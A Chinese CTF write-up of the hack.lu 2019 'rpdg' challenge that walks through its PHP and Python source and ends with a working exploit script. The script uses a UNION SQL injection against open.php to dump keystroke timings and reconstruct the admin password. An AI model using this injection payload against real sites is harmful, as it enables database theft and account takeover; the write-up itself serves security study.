前言
2019hack.luCTF的rpdg的环境搭建到解决的详细过程
0x01 rpdg
目录的结构如下:
app
目录下:
static
目录下全部是静态文件就不分析了。admin.php
文件的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'admin') {
echo "flag{GDPR_is_here_to_save_y'all}";
} else {
header('HTTP/1.1 403 Forbidden');
die('nope');
}
3
行开启session
可以在页面间传递数据。
5~10
行判断是否用户是admin,是就可以拿到flag,不是就返回一个403响应头。
db.php
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
$db = new mysqli('db', 'rpdg', 'Luung4aithaiCh3aetho', 'rpdg');
if (!$db) {
die('db oof');
}
if (!$db->set_charset("utf8")) {
error_log("db charset oof: ".$db->error);
}
3~10
行是设置连接数据库的句柄,并且设置数据库的字符集。
Dockerfile
的内容如下:1
2
3
4FROM php:7.3-fpm-alpine
RUN docker-php-ext-install mysqli \
&& docker-php-ext-enable mysqli
就是下载mysqli的扩展。
favicon.ico
是一张图片。index.php
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
require_once 'db.php';
session_start();
$result = $db->query("SELECT * FROM `culture`");
if (!$result) {
error_log('db oof: '.$result);
die('db oof');
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>Bundesamt für Internetkultur und würzige Ichichs</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<link href="static/style.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
<div class="container">
<a class="navbar-brand" href="#">Bundesamt für Internetkultur und würzige Ichichs</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarResponsive">
<ul class="navbar-nav ml-auto">
<li class="nav-item active">
<a class="nav-link" href="index.php">Home</a>
<span class="sr-only">(current)</span>
</li>
<li class="nav-item">
<a class="nav-link" href="register.php">Register</a>
</li>
<li class="nav-item">
<a class="nav-link" href="login.php">Login</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container">
<div class="row">
<div class="col-lg-12 text-center">
<img id="logo" class="ma-3" src="static/logo.png">
<p class="lead">Besides beer, pretzels and cars, Germany also offers a wonderful internet culture. Enjoy!</p>
<div class="container">
<div class="card-columns">
while ($row = $result->fetch_assoc()) {
<div class="card text-white bg-dark culture-item" data-title="<?php echo $row['title']; ?>">
<img class="card-img-top thumbnail" src="<?php echo '//i3.ytimg.com/vi/'.substr($row['link'], -11).'/hqdefault.jpg'; ?>" alt="Thumbnail">
<div class="card-body text-left">
<h5 class="card-title"><?php echo mb_convert_encoding($row['title'], 'utf-8'); ?></h5>
<p class="card-text"><small><?php echo $row['year'] ?></small></p>
</div>
</div>
}
</div>
</div>
</div>
</div>
</div>
<script src="static/jquery.slim.min.js"></script>
<script src="static/bootstrap.bundle.min.js"></script>
<script src="tracc.php"></script>
<script>
document.querySelectorAll('.culture-item').forEach(item => {
item.onclick = () => {
window.open(`/open.php?title=${encodeURIComponent(btoa(item.dataset.title))}`, '_blank');
};
});
</script>
</body>
</html>login.php
的内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
$db = new mysqli('db', 'rpdg-login', 'muLuqueiL7hiekei7roo', 'rpdg');
if (!$db) {
die('db oof');
}
session_start();
if (isset($_POST['user']) && isset($_POST['pass'])) {
$user = $_POST['user'];
$pass = $_POST['pass'];
if (!is_string($user) || !is_string($pass)) {
die('nope');
}
$stmt = $db->prepare('SELECT `pwhash` FROM `users` WHERE `name`=?');
if (!$stmt) {
error_log('db oof: '.$db->error);
die('db oof');
}
$stmt->bind_param('s', $user);
if (!$stmt->execute()) {
error_log('db oof: '.$db->error);
die('db oof');
}
$result = $stmt->get_result();
if (!$result) {
die('nope');
}
$row = $result->fetch_assoc();
if (!$row) {
die('nope');
}
$hash = $row['pwhash'];
$valid = password_verify($pass, $hash);
if ($valid) {
$_SESSION['username'] = $user;
header('Location: /admin.php');
die('redirecting...');
} else {
$error_msg = 'Your credentials are bad and you should feel bad!';
}
}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>Bundesamt für Internetkultur und würzige Ichichs</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
<div class="container">
<a class="navbar-brand" href="index.php">Bundesamt für Internetkultur und würzige Ichichs</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarResponsive">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="index.php">Home</a>
</li>
<li class="nav-item">
<a class="nav-link" href="register.php">Register</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="login.php">Login</a>
<span class="sr-only">(current)</span>
</li>
</ul>
</div>
</div>
</nav>
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-6">
<h1 class="mt-5">Login</h1>
if ($error_msg) {
<div class="alert alert-danger" role="alert">
echo $error_msg;
</div>
}
<form method="POST">
<div class="form-group">
<label for="username">Username</label>
<input type="text" class="form-control" id="username" name="user" placeholder="Enter username">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" class="form-control" id="password" name="pass" placeholder="Password">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</div>
</div>
</div>
<script src="static/jquery.slim.min.js"></script>
<script src="static/bootstrap.bundle.min.js"></script>
</body>
</html>
18
行准备要执行的语句,并返回语句对象。
参考链接
41
行验证密码是否和散列值匹配。
参考链接
43
行验证成功就跳转到/admin.php
。
open.php
的内容:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
require_once 'db.php';
// no hax
if (!isset($_GET['title']) || !is_string($_GET['title'])) {
die('nope');
}
$title = base64_decode($_GET['title']);
if (preg_match('/(?:sleep|benchmark)/i', $title)) {
error_log('Blocked: '.$title);
die('hack harder');
}
$result = $db->query('SELECT * FROM `culture` WHERE `id`=(SELECT `id` FROM `culture` WHERE `title`="'.$title.'")');
if (!$result) {
error_log('db oof: '.$db->error);
die('db oof: '.$db->error);
}
$row = $result->fetch_assoc();
if (!$row) {
die('nope');
}
// redirect
header('Location: '.$row['link']);
11
行匹配sleep
和benchmark
但是不记住匹配项。
16
行明显存在sql注入的情况。
参考链接
register.php
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<title>Bundesamt für Internetkultur und würzige Ichichs</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark static-top">
<div class="container">
<a class="navbar-brand" href="index.php">Bundesamt für Internetkultur und würzige Ichichs</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarResponsive">
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a class="nav-link" href="index.php">Home</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="register.php">
Register
<span class="sr-only">(current)</span>
</a>
</li>
<li class="nav-item">
<a class="nav-link" href="login.php">Login</a>
</li>
</ul>
</div>
</div>
</nav>
<div class="container">
<div class="row">
<div class="col-lg-12 text-center">
<h1 class="mt-5">Registration</h1>
<p class="lead">... is closed ¯\_(ツ)_/¯</p>
</div>
</div>
</div>
<script src="static/jquery.slim.min.js"></script>
<script src="static/bootstrap.bundle.min.js"></script>
</body>
</html>
db
目录下:
init.sql
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67-- create the db with unicode support
CREATE DATABASE `rpdg`;
-- ALTER DATABASE `rpdg` CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
USE `rpdg`;
-- create the tables
CREATE TABLE `users` (
`id` INT AUTO_INCREMENT PRIMARY KEY,
`name` VARCHAR(255) NOT NULL,
`pwhash` VARCHAR(255) NOT NULL
);
CREATE TABLE `tracking` (
`id` INT AUTO_INCREMENT PRIMARY KEY,
`key` VARCHAR(16) NOT NULL,
`timestamp` LONG NOT NULL,
`user` INT NOT NULL,
`path` VARCHAR(4095) NOT NULL,
FOREIGN KEY (user) REFERENCES users(id)
);
CREATE TABLE `culture` (
`id` INT AUTO_INCREMENT PRIMARY KEY,
`title` VARCHAR(255) NOT NULL,
`link` VARCHAR(255) NOT NULL,
`year` INT NOT NULL
);
-- create the app user
CREATE USER 'rpdg'@'%' IDENTIFIED WITH mysql_native_password BY 'Luung4aithaiCh3aetho';
-- ALTER USER 'rpdg'@'%' IDENTIFIED WITH mysql_native_password BY 'Luung4aithaiCh3aetho';
REVOKE ALL PRIVILEGES ON *.* FROM 'rpdg'@'%';
GRANT SELECT ON `rpdg`.`tracking` TO 'rpdg'@'%';
GRANT SELECT ON `rpdg`.`culture` TO 'rpdg'@'%';
-- create a special user for login-related stuff
CREATE USER 'rpdg-login'@'%' IDENTIFIED WITH mysql_native_password BY 'muLuqueiL7hiekei7roo';
-- ALTER USER 'rpdg-login'@'%' IDENTIFIED WITH mysql_native_password BY 'muLuqueiL7hiekei7roo';
REVOKE ALL PRIVILEGES ON *.* FROM 'rpdg-login'@'%';
GRANT SELECT ON `rpdg`.`users` TO 'rpdg-login'@'%';
FLUSH PRIVILEGES;
-- create the internet culture data
INSERT INTO `culture` (`title`, `link`, `year`) VALUES
('Kranfuehrer Ronny', 'https://www.youtube.com/watch?v=UGlPbphlpBg', 2016),
('Thueringer Kloesse', 'https://www.youtube.com/watch?v=qJe3cdM7f1c', 2012),
('Fichtls Lied', 'https://www.youtube.com/watch?v=dP9Wp6QVbsk', 2012),
('Nudeln', 'https://www.youtube.com/watch?v=ouMuU5PXNvU', 2008),
('Hauptschule', 'https://www.youtube.com/watch?v=IXarjKOrv00', 2010),
('Blumenkohl', 'https://www.youtube.com/watch?v=hFNs5JGGmvI', 2009),
('Bim Bam Bum', 'https://www.youtube.com/watch?v=koymOv6SifE', 2007),
('KS Mafia', 'https://www.youtube.com/watch?v=YQalL7jeT0o', 2012),
('Gesicherter Bereich', 'https://www.youtube.com/watch?v=71DdxJF8rmg', 2016),
('Gewitter', 'https://www.youtube.com/watch?v=PCc7NuDB8mo', 2012),
('Haben wir noch Peps?', 'https://www.youtube.com/watch?v=Ko81Oedo4t8', 2014),
('Nicht so tief Ruediger', 'https://www.youtube.com/watch?v=NseWRQ1JYoM', 2010),
('Andreas', 'https://www.youtube.com/watch?v=C1fCJvgNDow', 2011),
('Wo bist du, mein Sonnenlicht', 'https://www.youtube.com/watch?v=Mue6Vc_T9Ds', 2006),
('Schokolade', 'https://www.youtube.com/watch?v=WuQOfiD7gNg', 2009),
('Voll Assi Toni', 'https://www.youtube.com/watch?v=f4ffzhNOh1s', 2010),
('Zur Party', 'https://www.youtube.com/watch?v=3VyEWthLklc', 2012),
('Erdbeerkaese', 'https://www.youtube.com/watch?v=08lgAZP4CSk', 2011),
('Was ist denn mit Karsten los', 'https://www.youtube.com/watch?v=J2v0EG--tr0', 2009),
('Reifenverlust', 'https://www.youtube.com/watch?v=Lo05D-_k1d4', 2007),
('Fickende Leute in meinem Garten', 'https://www.youtube.com/watch?v=mEXItEgKWwQ', 2011),
('Alarm', 'https://www.youtube.com/watch?v=erTE5mEOMeI', 2016),
('Kuchenblech', 'https://www.youtube.com/watch?v=NtRGMIahxPo', 2013),
('Boar alta geil ey, unnormal ey!', 'https://www.youtube.com/watch?v=_H2B7pFIRwY', 2010);tracking-data.sql
的内容太多就不贴了。scripts
目录下:data
目录下的文件是一些数据收集,就不分析了。generate_password.py
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61#!/usr/bin/env python
import re
import sys
import random
def bigrams(s):
return [char_a + char_b for char_a, char_b in zip(s[:-1], s[1:])]
def generate_password(s):
# prepare text to avoid non-alphanumeric
s = re.sub(r'[^a-zA-Z0-9]', ' ', s)
next_char_map = {}
for bigram in bigrams(s):
#print('"{}"'.format(bigram))
char_a, char_b = bigram[0], bigram[1]
if char_a not in next_char_map:
next_char_map[char_a] = []
next_char_map[char_a].append(char_b)
#print(next_char_map)
# delete anything that maps to space to avoid a password
# that consists of characters that were previously removed
del next_char_map[' ']
next_char_map_ = next_char_map.copy()
password = random.choice(random.choice(list(next_char_map.keys())))
while len(password) < 16:
#print(''.join(password))
last_char = password[-1]
if last_char not in next_char_map:
next_char_map = next_char_map_.copy()
password = random.choice(random.choice(list(next_char_map.keys())))
continue
next_char = random.choice(next_char_map[last_char])
del next_char_map[last_char]
password += next_char
return ''.join(password)
def generate_password_from_file(textfile):
with open(textfile, 'r') as f:
text = f.read()
password = generate_password(text)
return password
def main(textfile):
password = generate_password_from_file(textfile)
print('[+] Password: {}'.format(password))
if __name__ == '__main__':
if len(sys.argv) != 2:
print('Usage: {} <textfile>'.format(sys.argv[0]))
else:
main(sys.argv[1])
8~9
行将一个列表中的元素两两合并为一个并且,返回成一个新的数组。
14
行将不是字符串的数字和字母替换为空格。
16
行定义一个对象。
17
行遍历将txt
文件中的字符两个结合在一起的数组。
19
行将生成的两个字符的字符串分别将其中的字符赋值给char_a
,char_b
。
20~21
行判断char_a
是否在next_char_map
中如果不在就将其设置一个数组对象。
22
行将char_b
添加到next_char_map
对象中。
27
行删除对象的键为空格的。
29
行对象的拷贝。
30
行返回next_char_map
中键的随机项。
32
行获取password的最后一个字母。
34~37
行判断last_char
是否在next_char_map中不是就按照上面的步骤。
38
行生成下一个字符。
39
行删除last_char
数组对象。
40
行合并password字符串。
42
行返回一个字符串。
其余没有必要再分析了。
generate_behaviour.py
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98#!/usr/bin/env python
import sys
import random
try:
from bcrypt import hashpw, gensalt
except:
print('Please pip install bcrypt')
exit(1)
from generate_password import generate_password_from_file
# Time range in milli seconds
RANGE_SLOW = [400, 500]
RANGE_FAST = [100, 200]
# Splits the password into bigrams
def learn_password(password):
return [char_a + char_b for char_a, char_b in zip(password[:-1], password[1:])]
def range_normal_variate(start, end):
mid = (start + end) / 2
return round(random.normalvariate(mid, mid * 0.1))
def annotate_text(learned, text):
if len(text) == 0:
return
# normalize
text = text.replace('\n', ' ')
# start at t=0
annotated = []
time_offset = 0
annotated.append((text[0], time_offset))
for prev_char, curr_char in zip(text[:-1], text[1:]):
bigram = prev_char + curr_char
if bigram in learned:
start, end = RANGE_FAST
else:
start, end = RANGE_SLOW
delta = range_normal_variate(start, end)
time_offset += delta
annotated.append((curr_char, time_offset))
return annotated
def annotate_file(password, input_file):
with open(input_file, 'rb') as f:
content = f.read().decode(encoding='utf-8', errors='ignore')
learned = learn_password(password)
annotated = annotate_text(learned, content)
return annotated
def main(input_file, password=None):
if password is None:
password = generate_password_from_file(input_file)
password_hash = hashpw(password, gensalt())
annotated = annotate_file(password, input_file)
#print(annotated)
time_start = 1571738400000 # 2019-10-22 10:00:00 UTC
admin_user_id = 1
admin_path = "/admin.php"
print('USE `rpdg`;')
print()
print('-- create the admin account')
print('-- admin:{}'.format(password))
print('INSERT INTO users (`name`, `pwhash`) VALUES ("admin", "{}");'.format(password_hash))
print()
print('INSERT INTO tracking (`key`, `timestamp`, `user`, `path`) VALUES ')
for key, timestamp in annotated:
print('("{}", {}, {}, "{}"){}'.format(key, timestamp + time_start, admin_user_id, admin_path, ';' if timestamp == annotated[-1][1] else ','))
if __name__ == "__main__":
if len(sys.argv) not in [2, 3]:
print('Usage: {} <textfile> [password]'.format(sys.argv[0]))
exit(1)
input_file = sys.argv[1]
if len(sys.argv) == 3:
password = sys.argv[2]
else:
password = None
main(input_file, password=password)
3~9
行导入bcrypt
包用来验证口令密文。
11
行是上面分析的内容。
14~15
行是定义时间间隔。
19~20
行上面已经分析过了。
23~25
行返回一个正态随机变量。
33
行将输入的字符串中的换行符全部替换为空格。
40
行遍历text两两组合成的两个字符的字符串,如(Lo)。
其余大家感兴趣的继续分析……。
analyze.py
的内容如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94#!/usr/bin/env python
from generate_behaviour import annotate_file, annotate_text
def learn_password_bigrams(annotated):
# pre-processing
bigram_speeds = {}
for a, b in zip(annotated[:-1], annotated[1:]):
bigram = a[0] + b[0]
delta = b[1] - a[1]
if len(bigram) != 2:
print('!2: "{}"'.format(bigram))
print(a)
print(b)
if bigram not in bigram_speeds:
bigram_speeds[bigram] = []
bigram_speeds[bigram].append(delta)
# calculate means of bigram speeds
bigram_means = []
for bigram, speeds in bigram_speeds.items():
mean = sum(speeds) / len(speeds)
bigram_means.append((bigram, mean))
# sort by mean speeds
bigram_means_sorted = sorted(bigram_means, key=lambda x: x[1])
# split at the biggest gap
max_gap = 0
max_gap_index = 0
for i, (a, b) in enumerate(zip(bigram_means_sorted[:-1], bigram_means_sorted[1:])):
gap = b[1] - a[1]
if gap > max_gap:
max_gap = gap
max_gap_index = i + 1
# separate the bigrams that are in the password
bigrams_fast = bigram_means_sorted[:max_gap_index]
password_bigrams = [x[0] for x in bigrams_fast]
return password_bigrams
def get_password(password_bigrams):
# prepare bigrams
next_char_map = {}
for bigram in password_bigrams:
#print('"{}"'.format(bigram))
char_a, char_b = bigram[0], bigram[1]
next_char_map[char_a] = char_b
# find the beginning (the bigram that has no matching predecessor)
start_bigram = None
for bigram in password_bigrams:
if bigram[0] not in next_char_map.values():
start_bigram = bigram
break
# if there is no beginning, there is something wrong
if start_bigram is None:
print('Could not find start_bigram :/')
return None
# reconstruct the password (put all the bigrams together like dominos)
bigrams_remaining = password_bigrams[:]
password = start_bigram
bigrams_remaining.remove(start_bigram)
while len(bigrams_remaining) > 0:
last_char = password[-1]
next_char = next_char_map[last_char]
password += next_char
bigrams_remaining.remove(last_char + next_char)
# voila, the password!
return password
def reconstruct_password(annotated):
password_bigrams = learn_password_bigrams(annotated)
return get_password(password_bigrams)
def main():
annotated = annotate_file('heim', './data/lorem-ipsum.txt')
print('[+] Reconstructing password...')
password = reconstruct_password(annotated)
print('[+] Password: {}'.format(password))
if __name__ == "__main__":
main()
20
行将两个字符同时出现的概率加入到bigram_speeds
中。
24~26
行计算两个字符出现的时间间隔的平均时间并添加到bigram_means
。
29
行按时间也就是速度排序。
53
行又将字符两两分开。
上面基本分析完毕。
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63#!/usr/bin/env python
import sys
import requests
from urllib.parse import quote
from base64 import urlsafe_b64encode
from analyze import reconstruct_password
BASE_URL = 'http://localhost:8000'
ITEMS_PER_REQUEST = 50
def exploit():
annotated = []
print('[+] Downloading DB content', end='', flush=True)
offset = 0
while True:
print('.', end='', flush=True)
sqli = 'nope") UNION SELECT 420, "lel", CONCAT("FLUX", (SELECT group_concat(col SEPARATOR ";") FROM (SELECT CONCAT(`key`, ",", `timestamp`) COLLATE utf8mb4_unicode_ci as col FROM tracking WHERE `key` NOT IN (",", ";", 0x0a) LIMIT {} OFFSET {}) as tmp), "FLUX"), 1337;-- -'.format(ITEMS_PER_REQUEST, offset)
sqli_b64 = urlsafe_b64encode(bytes(sqli, 'utf-8')).decode('utf-8')
r = requests.get(BASE_URL + '/open.php?title={}'.format(sqli_b64), allow_redirects=False)
if r.status_code != 302:
print(r.status_code)
print(r.text)
return
leak = r.headers['location']
if len(leak) == 0:
break
leak = leak.split("FLUX")[1]
for item in leak.split(';'):
last_comma = item.rfind(',')
key, timestamp = item[:last_comma], item[last_comma+1:]
# normalize
if len(key) > 1:
key = '_'
annotated.append((key, int(timestamp)))
offset += ITEMS_PER_REQUEST
print()
print('[+] Reconstructing password...')
password = reconstruct_password(annotated)
print('[+] Password: {}'.format(password))
data = {
'user': 'admin',
'pass': password,
}
r = requests.post(BASE_URL + '/login.php', data=data, allow_redirects=True)
flag = r.text
print('[+] Flag: {}'.format(flag))
if __name__ == "__main__":
if len(sys.argv) == 2:
BASE_URL = sys.argv[1]
exploit()
最后的结果:
1 | [+] Downloading DB content........................ |